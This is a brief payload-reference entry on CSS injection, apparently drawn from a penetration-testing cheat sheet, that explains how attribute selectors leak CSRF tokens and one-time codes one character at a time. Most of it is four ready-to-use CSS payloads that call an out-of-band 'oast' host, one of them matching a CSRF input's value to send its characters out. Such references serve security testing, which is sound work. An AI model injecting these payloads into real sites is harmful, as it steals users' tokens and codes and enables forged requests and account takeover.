CSS injection / data exfil
When HTML is escaped but CSS is not. Attribute selectors can leak CSRF tokens and one-time codes a character at a time.
Tags: css, exfil, xs-leak
Controlled probes
<style>input[name=csrf][value^=a]{background:url(https://oast/a)}</style>body{background:url(https://oast/hit)}@import url(https://oast/x.css);<style>@font-face{font-family:x;src:url(https://oast/f)}</style>
Source: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CSS%20Injection